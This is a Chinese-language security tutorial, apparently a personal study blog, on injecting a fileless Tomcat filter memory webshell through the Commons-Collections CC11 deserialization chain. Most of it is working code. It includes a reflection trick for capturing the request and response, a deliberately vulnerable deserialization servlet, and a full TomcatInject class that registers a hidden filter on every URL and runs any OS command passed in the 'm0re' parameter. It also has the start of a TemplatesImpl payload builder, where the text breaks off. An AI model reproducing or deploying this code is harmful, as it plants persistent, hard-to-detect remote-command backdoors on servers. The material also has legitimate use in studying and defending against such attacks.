背景

参考：https://www.yuque.com/tianxiadamutou/zcfd4v/tzcdeb

内存马原本想要的效果应该是无文件落地，顾名思义，木马留在内存当中。而上次写的Filter内存马其实只是不在当前目录中生成木马文件，其实web服务器还是将其进行编译加载实例化的。

用everything就可以找到的。

🍩结合CC11实现无文件落地内存马注入 - 图1

解决问题

看了几篇文章，其中一个方法是利用CC11这条链子来结合反序列化去实现无文件落地内存马注入。

首先是回显问题

之前学习CC链都是直接在idea中实现命令回显，现在如果需要结合CC11进行内存马注入并且回显内容的话，还是需要做些改变。首先在Tomcat中利用servlet和jsp内置的request和response可以比较轻松的获取到执行结果。看了几篇相关文章，发现大家都在用kingkk师傅找到的那个利用点，也就是ApplicationFilterChain类中的lastServicedRequest 和 lastServicedResponse 的静态变量。

🍩结合CC11实现无文件落地内存马注入 - 图2

位于：org.apache.catalina.core.ApplicationFilterChain

在 ApplicationFilterChain类的internalDoFilter方法中，第二个try，在分析Filter型内存马的逻辑时有提到过。

这里就有判断，当WRAP_SAME_OBJECT为true时，就会使用set方法，将request和response传进去。

🍩结合CC11实现无文件落地内存马注入 - 图3

然后找这两个静态变量的初始化的地方，在这个文件开始有一块静态代码片段，一般静态代码都是优先执行的

🍩结合CC11实现无文件落地内存马注入 - 图4

然后就是这个WRAP_SAME_OBJECT一开始的状态就是false，这个地方在哪里？

WRAP_SAME_OBJECT在ApplicationDispatcher类中也是一个静态变量。并且关于WRAP_SAME_OBJECT的设置还有一层静态代码

🍩结合CC11实现无文件落地内存马注入 - 图5

String wrapSameObject获取的是配置文件中的这个变量，所以如果没有配置文件，那么这个变量就默认是null然后就可以进入判断逻辑中

  1. WRAP_SAME_OBJECT = STRICT_SERVLET_COMPLIANCE;

而STRICT_SERVLET_COMPLIANCE也是在前面定义好的

  1. STRICT_SERVLET_COMPLIANCE = Globals.STRICT_SERVLET_COMPLIANCE;

跟进Globals类去查看

🍩结合CC11实现无文件落地内存马注入 - 图6

所以这里默认为false，到这里就明白了ApplicationDispatcher.WRAP_SAME_OBJECT也是默认为false，这里要获取到request和response就需要让这个值为true，这时就可以使用反射来修改它的值。同时将lastServicedRequest 和 lastServicedResponse初始化。

  1. WRAP_SAME_OBJECT_FIELD.setBoolean(applicationDispatcher, true);
  2. lastServicedRequestField.set(applicationFilterChain,new ThreadLocal());
  3. lastServicedResponseField.set(applicationFilterChain,new ThreadLocal());

当然在前面进行反射时需要进行一些其他操作。

在对final修饰的变量进行反射操作时，当然也不是可以直接操作的，看案例

  1. Class applicationDispatcher = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
  2. Field WRAP_SAME_OBJECT_FIELD = applicationDispatcher.getDeclaredField("WRAP_SAME_OBJECT");
  3. WRAP_SAME_OBJECT_FIELD.setAccessible(true);
  5. //一个必要的设置，修改final修饰的变量需要这么操作
  6. Field f0 = Class.forName("java.lang.reflect.Field").getDeclaredField("modifiers");
  7. f0.setAccessible(true);
  8. f0.setInt(WRAP_SAME_OBJECT_FIELD,WRAP_SAME_OBJECT_FIELD.getModifiers()& ~Modifier.FINAL);

然后就是代码逻辑，直接贴测试代码，对代码进行分析

  1. package com.sf.filterjsp;
  3. import javax.servlet.ServletException;
  4. import javax.servlet.ServletRequest;
  5. import javax.servlet.ServletResponse;
  6. import javax.servlet.annotation.WebServlet;
  7. import javax.servlet.http.HttpServlet;
  8. import javax.servlet.http.HttpServletRequest;
  9. import javax.servlet.http.HttpServletResponse;
  10. import java.io.IOException;
  11. import java.io.InputStream;
  12. import java.io.Writer;
  13. import java.lang.reflect.Field;
  14. import java.lang.reflect.Modifier;
  16. @WebServlet("/ccFilter")
  17. @SuppressWarnings("all")
  18. public class CC11Filter extends HttpServlet {
  19.     @Override
  20.     protected void doGet(HttpServletRequest request, HttpServletResponse response){
  21.         try{
  22.             Class applicationDispatcher = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
  23.             Field WRAP_SAME_OBJECT_FIELD = applicationDispatcher.getDeclaredField("WRAP_SAME_OBJECT");
  24.             WRAP_SAME_OBJECT_FIELD.setAccessible(true);
  26.             //一个必要的设置，修改final修饰的变量需要这么操作
  27.             Field f0 = Class.forName("java.lang.reflect.Field").getDeclaredField("modifiers");
  28.             f0.setAccessible(true);
  29.             f0.setInt(WRAP_SAME_OBJECT_FIELD,WRAP_SAME_OBJECT_FIELD.getModifiers()& ~Modifier.FINAL);
  30.             //需要用到的另外两个final修饰的变量
  31.             Class applicationFilterChain = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
  32.             Field lastServicedRequestField = applicationFilterChain.getDeclaredField("lastServicedRequest");
  33.             Field lastServicedResponseField = applicationFilterChain.getDeclaredField("lastServicedResponse");
  34.             lastServicedRequestField.setAccessible(true);
  35.             lastServicedResponseField.setAccessible(true);
  36.             f0.setInt(lastServicedRequestField,lastServicedRequestField.getModifiers()& ~Modifier.FINAL);
  37.             f0.setInt(lastServicedResponseField,lastServicedResponseField.getModifiers()& ~Modifier.FINAL);
  38.             ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(applicationFilterChain);
  39.             ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(applicationFilterChain);
  40.             //经典三目运算符获取用户输入
  41.             String cmd = lastServicedRequest!=null ? lastServicedRequest.get().getParameter("cmd"):null;
  42.             //先判断三个条件是否都符合
  43.             if (!WRAP_SAME_OBJECT_FIELD.getBoolean(applicationDispatcher) || lastServicedRequest == null || lastServicedResponse == null){
  44.                 //初始化两个静态变量并设置WRAP_SAME_OBJECT为true
  45.                 //这里几乎是必进的一个逻辑
  46.                 WRAP_SAME_OBJECT_FIELD.setBoolean(applicationDispatcher, true);
  47.                 lastServicedRequestField.set(applicationFilterChain, new ThreadLocal());
  48.                 lastServicedResponseField.set(applicationFilterChain, new ThreadLocal());
  49.             }else if (cmd!=null){
  50.                 InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
  51.                 StringBuilder stringBuilder = new StringBuilder("");
  52.                 byte[] bytes = new byte[1024];
  53.                 int line = 0;
  54.                 while ((line = inputStream.read(bytes))!=-1){
  55.                     stringBuilder.append(new String(bytes, 0, line));
  56.                 }
  57.                 Writer writer = lastServicedResponse.get().getWriter();
  58.                 writer.write(stringBuilder.toString());
  59.                 writer.flush();
  60.             }
  62.         } catch (Exception e) {
  63.             e.printStackTrace();
  64.         }
  65.     }
  67.     @Override
  68.     protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
  69.         super.doPost(req, resp);
  70.     }
  71. }

回显问题解决

🍩结合CC11实现无文件落地内存马注入 - 图7

下面走一下这个过程

下断点调试，第一次加载：

打开/ccFilter，到这个位置，还没加载CC11Filter，所以还是默认的配置，WRAP_SAME_OBJECT的值依旧是false

🍩结合CC11实现无文件落地内存马注入 - 图8

进入自己写的方法，这里可以看到没有将request和response存入，这里三目运算符的判断还是false。

🍩结合CC11实现无文件落地内存马注入 - 图9

第二次访问：访问/ccFilter加参数

已经修改为true，继续执行

🍩结合CC11实现无文件落地内存马注入 - 图10

进入，调用set方法，将request和response分别存入lastServicedRequest和lastServicedResponse中

🍩结合CC11实现无文件落地内存马注入 - 图11

然后继续向下走，到了调用自己写的Filter方法，这里可以看到

🍩结合CC11实现无文件落地内存马注入 - 图12

进入看到与第一次访问不一样的地方

🍩结合CC11实现无文件落地内存马注入 - 图13

继续向下能进入执行命令的逻辑了，将返回内容写入response

🍩结合CC11实现无文件落地内存马注入 - 图14

构建漏洞环境

需要一个可以反序列化的环境，这个环境问题有点阴间，可能也是我对Servlet不熟悉的原因，访问时各种错误。环境源代码来自：天下大木头师傅

  1. import javax.servlet.ServletException;
  2. import javax.servlet.annotation.WebServlet;
  3. import javax.servlet.http.HttpServlet;
  4. import javax.servlet.http.HttpServletRequest;
  5. import javax.servlet.http.HttpServletResponse;
  6. import java.io.IOException;
  7. import java.io.InputStream;
  8. import java.io.ObjectInputStream;
  10. @WebServlet(name = "CC11", value = "/cc")
  11. public class CCServlet extends HttpServlet {
  12.     @Override
  13.     protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
  14.         InputStream inputStream = (InputStream) req;
  15.         ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
  16.         try {
  17.             objectInputStream.readObject();
  18.         } catch (ClassNotFoundException e) {
  19.             e.printStackTrace();
  20.         }
  21.         resp.getWriter().write("Success");
  22.     }
  24.     @Override
  25.     protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
  26.         InputStream inputStream = req.getInputStream();
  27.         ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
  28.         try {
  29.             objectInputStream.readObject();
  30.         } catch (ClassNotFoundException e) {
  31.             e.printStackTrace();
  32.         }
  33.         resp.getWriter().write("Success");
  34.     }
  35. }

添加commons-collections依赖，maven导入

  1. <dependency>
  2.     <groupId>commons-collections</groupId>
  3.     <artifactId>commons-collections</artifactId>
  4.     <version>3.1</version>
  5. </dependency>

这里说下大概坑点，访问时看到状态码是500就是可以用的了，404则需要再次检查

然后是这个地方吧，需要设置一下，确认commons-collections已导入。我觉得我一直存在的问题就是这里。

PS：如果还是不成功，建议重新建一个项目，毕竟新建的环境只需要一个简单的Sever服务端即可。可以解决大部分错误。

🍩结合CC11实现无文件落地内存马注入 - 图15

实现反序列化注入

大概梳理一下

  1. 将request和response存入lastServicedRequest和lastServicedResponse，这是上面解决回显的问题
  2. 从lastServicedRequest和lastServicedResponse再获取到存入的request和response
  3. 获取servletcontext
  4. 注册Filter，注入内存马

存入request和response

将request和response存入，参考三梦师傅的代码，可能一些命名格式按照我的习惯，不过逻辑是大差不差的。

  1. package com.sf.filterjsp;
  3. import com.sun.org.apache.xalan.internal.xsltc.DOM;
  4. import com.sun.org.apache.xalan.internal.xsltc.TransletException;
  5. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  6. import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
  7. import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
  9. import java.lang.reflect.Field;
  10. import java.lang.reflect.Modifier;
  11. /**
  12.  * @author threedr3am
  13.  */
  14. public class TomcatInject extends AbstractTranslet {
  15.     static {
  16.         try{
  17.             /*
  18.             * 反序列化后
  19.             * */
  20.             Class applicationDispatcher = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
  21.             Field WRAP_SAME_OBJECT_FIELD = applicationDispatcher.getDeclaredField("WRAP_SAME_OBJECT");
  22.             Field modifiersField = WRAP_SAME_OBJECT_FIELD.getClass().getDeclaredField("modifiers");
  23.             modifiersField.setAccessible(true);
  24.             modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
  25.             WRAP_SAME_OBJECT_FIELD.setAccessible(true);
  26.             if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null)) {
  27.                 WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
  28.             }
  30.             //初始化 lastServicedRequest
  31.             Class applicationFilterChain = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
  32.             Field lastServiceRequestField = applicationFilterChain.getDeclaredField("lastServicedRequest");
  33.             modifiersField = lastServiceRequestField.getClass().getDeclaredField("modifiers");
  34.             modifiersField.setAccessible(true);
  35.             modifiersField.setInt(lastServiceRequestField, lastServiceRequestField.getModifiers() & ~Modifier.FINAL);
  36.             lastServiceRequestField.setAccessible(true);
  37.             if (lastServiceRequestField.get(null) == null) {
  38.                 lastServiceRequestField.set(null, new ThreadLocal());
  39.             }
  41.             //初始化 lastServicedResponse
  42.             Field lastServicedResponseField = applicationFilterChain.getDeclaredField("lastServicedResponse");
  43.             modifiersField = modifiersField.getClass().getDeclaredField("modifiers");
  44.             modifiersField.setAccessible(true);
  45.             modifiersField.setInt(lastServicedResponseField,lastServicedResponseField.getModifiers()& ~Modifier.FINAL);
  46.             lastServicedResponseField.setAccessible(true);
  47.             if (lastServicedResponseField.get(null) == null) {
  48.                 lastServicedResponseField.set(null, new ThreadLocal());
  49.             }
  50.         } catch (Exception e) {
  51.             e.printStackTrace();
  52.         }
  53.     }
  55.     @Override
  56.     public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
  58.     }
  60.     @Override
  61.     public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
  63.     }
  64. }
继承<font style="color:rgb(51, 51, 51);">AbstractTranslet</font>是为了携带恶意字节码到服务端去加载并执行。在静态代码块中通过反射进行一些参数的值的获取和初始化的操作

从lastServicedRequest中获取request

继续进行，前面存入了request和response，那现在要取出使用，先取出

获取request的时候，增加了一个判断逻辑，做如下处理，在注释中写的比较清楚了。

也要考虑其他情况，如果是spring框架，那么可以从下面两种方法去获取request。主要还是通过反射去获取。

  1.     //获取ServletContext
  2.     private static ServletContext getServletContext() throws Exception {
  3.         ServletRequest servletRequest = null;
  4.         //拿到request 和 response
  5.         Class applicationFilterChain = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
  6.         Field lastServicedRequestField = applicationFilterChain.getDeclaredField("lastServicedRequest");
  7.         lastServicedRequestField.setAccessible(true);
  8.         //get(null)，非null的话，使用get方法就可以直接获取url传输过来的值了
  9.         ThreadLocal threadLocal = (ThreadLocal) lastServicedRequestField.get(null);
  10.         //增加一个判断逻辑，不为空则意味着第一次反序列化的准备工作成功
  11.         if (threadLocal != null && threadLocal.get() != null){
  12.             //获取 servletRequest，对比上一个get(null)就可以看到区别
  13.             servletRequest = (ServletRequest) threadLocal.get();
  14.         }
  15.         /*
  16.         * 如果不是通过Request去传输的，我理解的是不通过get或post吧
  17.         * 那么就通过以下两种方式去获取 servletRequest
  18.         * */
  19.         //第一种
  20.         if (servletRequest == null){
  21.             try {
  22.                 Class requestContextHolder = Class.forName("org.springframework.web.context.request.RequestContextHolder");
  23.                 Method getRequestAttributesMethod = requestContextHolder.getMethod("getRequestAttributes");
  24.                 Object o = getRequestAttributesMethod.invoke(null);
  25.                 Class<?> name = Class.forName("org.springframework.web.context.request.ServletRequestAttributes");
  26.                 Method nameMethod = name.getMethod("getRequest");
  27.                 servletRequest = (ServletRequest) nameMethod.invoke(o);
  28.             }catch (Throwable t){}
  29.         }
  30.         if (servletRequest != null){
  31.             return servletRequest.getServletContext();
  32.         }
  33.         //第二种
  34.         try {
  35.             Class contextLoader = Class.forName("org.springframework.web.context.ContextLoader");
  36.             Method getCurrentWebApplicationContext = contextLoader.getMethod("getCurrentWebApplicationContext");
  37.             Object o = getCurrentWebApplicationContext.invoke(null);
  38.             Class<?> name = Class.forName("org.springframework.web.context.WebApplicationContext");
  39.             Method nameMethod = name.getMethod("getServletContext");
  40.             ServletContext servletContext = (ServletContext) nameMethod.invoke(o);
  41.             return servletContext;
  42.         }catch (Throwable t){}
  43.         return null;
  44.     }
Spring中获取request的两种方法的逻辑

第一种（参考：https://www.cnblogs.com/thankyouGod/p/6064165.html）

其实第一种方法是实现了这么一个操作

  1. HttpServletRequest request = ((ServletRequestAttributes)RequestContextHolder.getRequestAttributes()).getRequest();

只是通过反射来实现这行代码

  1. if (servletRequest == null){
  2.     try {
  3.         Class requestContextHolder = Class.forName("org.springframework.web.context.request.RequestContextHolder");
  4.         Method getRequestAttributesMethod = requestContextHolder.getMethod("getRequestAttributes");
  5.         Object o = getRequestAttributesMethod.invoke(null);
  6.         Class<?> name = Class.forName("org.springframework.web.context.request.ServletRequestAttributes");
  7.         Method nameMethod = name.getMethod("getRequest");
  8.         servletRequest = (ServletRequest) nameMethod.invoke(o);
  9.     }catch (Throwable t){}
  10. }
  11. if (servletRequest != null){
  12.     return servletRequest.getServletContext();
  13. }

简单描述一下，通过反射分别获取getRequestAttributes和getRequest这两个方法

需要用反射的方法去调用另一个方法，中间连接是getRequestAttributesMethod.invoke(null);

第二种方法跟第一种方法类似，不啰嗦了。

获取servletcontext

  1. static {
  2.         try{
  3.             //调用静态方法getServletContext
  4.             ServletContext servletContext = getServletContext();
  5.             if (servletContext != null){
  6.                 Field context = servletContext.getClass().getDeclaredField("context");
  7.                 context.setAccessible(true);
  8.                 ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
  10.                 Field stdcontext = applicationContext.getClass().getDeclaredField("context");
  11.                 stdcontext.setAccessible(true);
  12.                 StandardContext standardContext = (StandardContext) stdcontext.get(applicationContext);
  14.                 if (standardContext != null){
  16.                     Field stateField = LifecycleBase.class.getDeclaredField("state");
  17.                     stateField.setAccessible(true);
  18.                     //给standardContext设置一个状态
  19.                     stateField.set(standardContext, LifecycleState.STARTING_PREP);
  20.                     /*
  21.                      * 1. 实现Filter接口
  22.                      * 2. 可以调用doFilter来添加myFilter
  23.                      * 3. 也可以使用反射来添加
  24.                      * */
  25.                     Filter myFilter = new TomcatInject();
  26.                     FilterRegistration.Dynamic filterRegistration = servletContext.addFilter(filterName, myFilter);
  27.                     //接下来的操作是设置filtermapping
  28.                     filterRegistration.setInitParameter("encoding", "utf-8");
  29.                     //是否支持异步处理，默认为false
  30.                     filterRegistration.setAsyncSupported(false);
  31.                     filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST),false, new String[]{filterUrlPattern});
  32.                     //修改生命周期的状态为：已经启动
  33.                     if (stateField != null){
  34.                         stateField.set(standardContext, LifecycleState.STARTED);
  35.                     }
  36.                     //调用
  37.                     if (standardContext != null){
  38.                         //使用filterStart来启动创建的filter
  39.                         Method filterStartMethod = StandardContext.class.getDeclaredMethod("filterStart");
  40.                         filterStartMethod.setAccessible(true);
  41.                         filterStartMethod.invoke(standardContext, null);
  42.                         Class _filter = null;
  43.                         try {
  44.                             _filter = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
  45.                         }catch (Throwable t){}
  46.                         //可能是apache版本的问题，这里的deploy下没有FilterMap类，所以暂时注释掉
  47. //                        if (_filter == null){
  48. //                            try {
  49. //                                _filter = Class.forName("org.apache.catalina.deploy.FilterMap")
  50. //                            }
  51. //                        }
  52.                         //获取filterMaps，并将自定义的filtermap插在第一个位置
  53.                         Method findFilterMapsMethod = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredMethod("findFilterMaps");
  54.                         Object[] filterMaps = (Object[]) findFilterMapsMethod.invoke(standardContext);
  55.                         Object[] tmpFilterMaps = new Object[filterMaps.length];
  56.                         int index = 1;
  57.                         for (int i = 0; i < filterMaps.length; i++){
  58.                             Object o = filterMaps[i];
  59.                             findFilterMapsMethod = _filter.getMethod("getFilterName");
  60.                             String name = (String) findFilterMapsMethod.invoke(o);
  61.                             //判断是不是我创建的Filter，根据name来判断，忽略大小写
  62.                             if (name.equalsIgnoreCase(filterName)){
  63.                                 //如果是，则将其赋值给tmpFilterMaps的第一个也就是第0位
  64.                                 tmpFilterMaps[0] = o;
  65.                             }else {
  66.                                 //如果不是，继续在filterMaps中找
  67.                                 tmpFilterMaps[index++] = filterMaps[i];
  68.                             }
  69.                         }
  70.                         for (int i = 0; i < filterMaps.length; i++){
  71.                             //相当于将tmpFilterMaps复制了一下，或者是说改了个数组名而已
  72.                             filterMaps[i] = tmpFilterMaps[i];
  73.                         }
  74.                     }
  75.                 }
  76.             }
  77.         } catch (Exception e) {
  78.             e.printStackTrace();
  79.         }
  80.     }

逻辑这边，我在注释中写的比较详细

这里就说一下那个apache版本的原因找不到FilterMap类的问题，我用的是tomcat8.5版本的，在这个包下是没有发现FilterMap类的。

🍩结合CC11实现无文件落地内存马注入 - 图16

于是就将它给注释掉了。

执行命令部分

在此之前，需要实现Filter接口，并重写Filter生命周期中的初始化方法、过滤方法以及销毁方法

  1. @Override
  2.     public void init(FilterConfig filterConfig) throws ServletException {
  3.     }
  5.     @Override
  6.     public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
  7.         /*
  8.         * 执行命令的部分
  9.         * */
  10.         System.out.println("-----------------------------------------TomcatFilterShell Inject---------------------------------------------------");
  11.         String cmd;
  12.         String line;
  13.         if ((cmd = request.getParameter(cmdParamName)) != null){
  14.             Process process = Runtime.getRuntime().exec(cmd);
  15.             BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
  16.             StringBuilder stringBuilder = new StringBuilder();
  17.             while ((line = bufferedReader.readLine()) != null){
  18.                 stringBuilder.append(line+"\n");
  19.             }
  20.             response.getOutputStream().write(stringBuilder.toString().getBytes(StandardCharsets.UTF_8));
  21.             response.getOutputStream().flush();
  22.             response.getOutputStream().close();
  23.             return;
  24.         }
  25.         chain.doFilter(request, response);
  27.     }
  29.     @Override
  30.     public void destroy() {
  31.     }

执行命令部分也就是最简单的一句话木马形式，不理解Process和Runtime结合进行Java与非Java程序之间的交互可以看下https://blog.csdn.net/m0_37556444/article/details/85622179

简单说下

Process通过getInputStream方法获取子进程的输入流，最后由response调用getOutputStream方法结合write方法，将结果输出。

完整的POC流程

  1. import com.sun.org.apache.xalan.internal.xsltc.DOM;
  2. import com.sun.org.apache.xalan.internal.xsltc.TransletException;
  3. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  4. import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
  5. import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
  6. import org.apache.catalina.LifecycleState;
  7. import org.apache.catalina.core.ApplicationContext;
  8. import org.apache.catalina.core.StandardContext;
  9. import org.apache.catalina.util.LifecycleBase;
  11. import javax.servlet.*;
  12. import java.io.BufferedReader;
  13. import java.io.IOException;
  14. import java.io.InputStreamReader;
  15. import java.lang.reflect.Field;
  16. import java.lang.reflect.Method;
  17. import java.nio.charset.StandardCharsets;
  18. import java.util.EnumSet;
  20. public class TomcatInject extends AbstractTranslet implements Filter{
  21.     private final String cmdParamName = "m0re";
  22.     private final static String filterUrlPattern = "/*";
  23.     private final static String filterName = "tomcat";
  25.     //获取ServletContext
  26.     private static ServletContext getServletContext() throws Exception {
  27.         ServletRequest servletRequest = null;
  28.         //拿到request 和 response
  29.         Class applicationFilterChain = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
  30.         Field lastServicedRequestField = applicationFilterChain.getDeclaredField("lastServicedRequest");
  31.         lastServicedRequestField.setAccessible(true);
  32.         //get(null)，非null的话，使用get方法就可以直接获取url传输过来的值了
  33.         ThreadLocal threadLocal = (ThreadLocal) lastServicedRequestField.get(null);
  34.         //增加一个判断逻辑，不为空意味着第一次反序列化的准备工作成功
  35.         if (threadLocal != null && threadLocal.get() != null){
  36.             //获取 servletRequest，对比上一个get(null)就可以看到区别
  37.             servletRequest = (ServletRequest) threadLocal.get();
  38.         }
  39.         /*
  40.         * 如果不是通过Request去传输的，我理解的是不通过get或post吧
  41.         * 那么就通过以下两种方式去获取 servletRequest
  42.         * */
  43.         //第一种
  44.         if (servletRequest == null){
  45.             try {
  46.                 Class requestContextHolder = Class.forName("org.springframework.web.context.request.RequestContextHolder");
  47.                 Method getRequestAttributesMethod = requestContextHolder.getMethod("getRequestAttributes");
  48.                 Object o = getRequestAttributesMethod.invoke(null);
  49.                 Class<?> name = Class.forName("org.springframework.web.context.request.ServletRequestAttributes");
  50.                 Method nameMethod = name.getMethod("getRequest");
  51.                 servletRequest = (ServletRequest) nameMethod.invoke(o);
  52.             }catch (Throwable t){}
  53.         }
  54.         if (servletRequest != null){
  55.             return servletRequest.getServletContext();
  56.         }
  57.         //第二种
  58.         try {
  59.             Class contextLoader = Class.forName("org.springframework.web.context.ContextLoader");
  60.             Method getCurrentWebApplicationContext = contextLoader.getMethod("getCurrentWebApplicationContext");
  61.             Object o = getCurrentWebApplicationContext.invoke(null);
  62.             Class<?> name = Class.forName("org.springframework.web.context.WebApplicationContext");
  63.             Method nameMethod = name.getMethod("getServletContext");
  64.             ServletContext servletContext = (ServletContext) nameMethod.invoke(o);
  65.             return servletContext;
  67.         }catch (Throwable t){}
  68.         return null;
  69.     }
  70.     //静态代码块
  71.     static {
  72.         try{
  73.             //调用静态方法getServletContext
  74.             ServletContext servletContext = getServletContext();
  75.             if (servletContext != null){
  76.                 Field context = servletContext.getClass().getDeclaredField("context");
  77.                 context.setAccessible(true);
  78.                 ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
  80.                 Field stdcontext = applicationContext.getClass().getDeclaredField("context");
  81.                 stdcontext.setAccessible(true);
  82.                 StandardContext standardContext = (StandardContext) stdcontext.get(applicationContext);
  84.                 if (standardContext != null){
  86.                     Field stateField = LifecycleBase.class.getDeclaredField("state");
  87.                     stateField.setAccessible(true);
  88.                     //给standardContext设置一个状态
  89.                     stateField.set(standardContext, LifecycleState.STARTING_PREP);
  90.                     /*
  91.                      * 1. 实现Filter接口
  92.                      * 2. 可以调用doFilter来添加myFilter
  93.                      * 3. 也可以使用反射来添加
  94.                      * */
  95.                     Filter myFilter = new TomcatInject();
  96.                     FilterRegistration.Dynamic filterRegistration = servletContext.addFilter(filterName, myFilter);
  97.                     //接下来的操作是设置filtermapping
  98.                     filterRegistration.setInitParameter("encoding", "utf-8");
  99.                     //是否支持异步处理，默认为false
  100.                     filterRegistration.setAsyncSupported(false);
  101.                     filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST),false, new String[]{filterUrlPattern});
  102.                     //修改生命周期的状态为：已经启动
  103.                     if (stateField != null){
  104.                         stateField.set(standardContext, LifecycleState.STARTED);
  105.                     }
  106.                     //调用
  107.                     if (standardContext != null){
  108.                         //使用filterStart来启动创建的filter
  109.                         Method filterStartMethod = StandardContext.class.getDeclaredMethod("filterStart");
  110.                         filterStartMethod.setAccessible(true);
  111.                         filterStartMethod.invoke(standardContext, null);
  112.                         Class _filter = null;
  113.                         try {
  114.                             _filter = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
  115.                         }catch (Throwable t){}
  116.                         //可能是apache版本的问题，这里的deploy下没有FilterMap类，所以暂时注释掉
  117. //                        if (_filter == null){
  118. //                            try {
  119. //                                _filter = Class.forName("org.apache.catalina.deploy.FilterMap")
  120. //                            }
  121. //                        }
  122.                         //获取filterMaps，并将自定义的filtermap插在第一个位置
  123.                         Method findFilterMapsMethod = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredMethod("findFilterMaps");
  124.                         Object[] filterMaps = (Object[]) findFilterMapsMethod.invoke(standardContext);
  125.                         Object[] tmpFilterMaps = new Object[filterMaps.length];
  126.                         int index = 1;
  127.                         for (int i = 0; i < filterMaps.length; i++){
  128.                             Object o = filterMaps[i];
  129.                             findFilterMapsMethod = _filter.getMethod("getFilterName");
  130.                             String name = (String) findFilterMapsMethod.invoke(o);
  131.                             //判断是不是我创建的Filter，根据name来判断，忽略大小写
  132.                             if (name.equalsIgnoreCase(filterName)){
  133.                                 //如果是，则将其赋值给tmpFilterMaps的第一个也就是第0位
  134.                                 tmpFilterMaps[0] = o;
  135.                             }else {
  136.                                 //如果不是，继续在filterMaps中找
  137.                                 tmpFilterMaps[index++] = filterMaps[i];
  138.                             }
  139.                         }
  140.                         for (int i = 0; i < filterMaps.length; i++){
  141.                             //相当于将tmpFilterMaps复制了一下，或者是说改了个数组名而已
  142.                             filterMaps[i] = tmpFilterMaps[i];
  143.                         }
  144.                     }
  145.                 }
  146.             }
  147.         } catch (Exception e) {
  148.             e.printStackTrace();
  149.         }
  150.     }
  152.     @Override
  153.     public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
  155.     }
  157.     @Override
  158.     public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
  160.     }
  162.     @Override
  163.     public void init(FilterConfig filterConfig) throws ServletException {
  164.     }
  166.     @Override
  167.     public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
  168.         /*
  169.         * 执行命令的部分
  170.         * */
  171.         System.out.println("-----------------------------------------TomcatFilterShell Inject---------------------------------------------------");
  172.         String cmd;
  173.         String line;
  174.         if ((cmd = request.getParameter(cmdParamName)) != null){
  175.             Process process = Runtime.getRuntime().exec(cmd);
  176.             BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
  177.             StringBuilder stringBuilder = new StringBuilder();
  178.             while ((line = bufferedReader.readLine()) != null){
  179.                 stringBuilder.append(line+"\n");
  180.             }
  181.             response.getOutputStream().write(stringBuilder.toString().getBytes(StandardCharsets.UTF_8));
  182.             response.getOutputStream().flush();
  183.             response.getOutputStream().close();
  184.             return;
  185.         }
  186.         chain.doFilter(request, response);
  188.     }
  190.     @Override
  191.     public void destroy() {
  192.     }
  193. }

利用CC11进行注入

利用代码来源：天下大木头

  1. package com.sf.filterjsp;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  4. import org.apache.commons.collections.functors.InvokerTransformer;
  5. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  6. import org.apache.commons.collections.map.LazyMap;
  8. import java.io.*;
  9. import java.lang.reflect.Field;
  10. import java.util.HashMap;
  11. import java.util.HashSet;
  13. @SuppressWarnings("all")
  14. public class CC11Tool {
  16.     public static void main(String[] args) throws Exception {
  17.         byte[] bytes = getBytes();
  18.         byte[][] targetByteCodes = new byte[][]{bytes};
  19.         TemplatesImpl templates = TemplatesImpl.class.newInstance();
  21.         Field f0 = templates.getClass().getDeclaredField("_bytecodes");
  22.         f0.setAccessible(true);
  23.         f0.set(templates,targetByteCodes);
  25.         f0 = templates.getClass().getDeclaredField("_name");
  26.         f0.setAccessible(true);
  27.         f0.set(templates,"name");
  29.         f0 = templates.getClass().getDeclaredField("_class");
  30.         f0.setAccessible(true);
  31.         f0.set(templates,null);
  33.         // 利用反射调用 templates 中的 newTransformer 方法
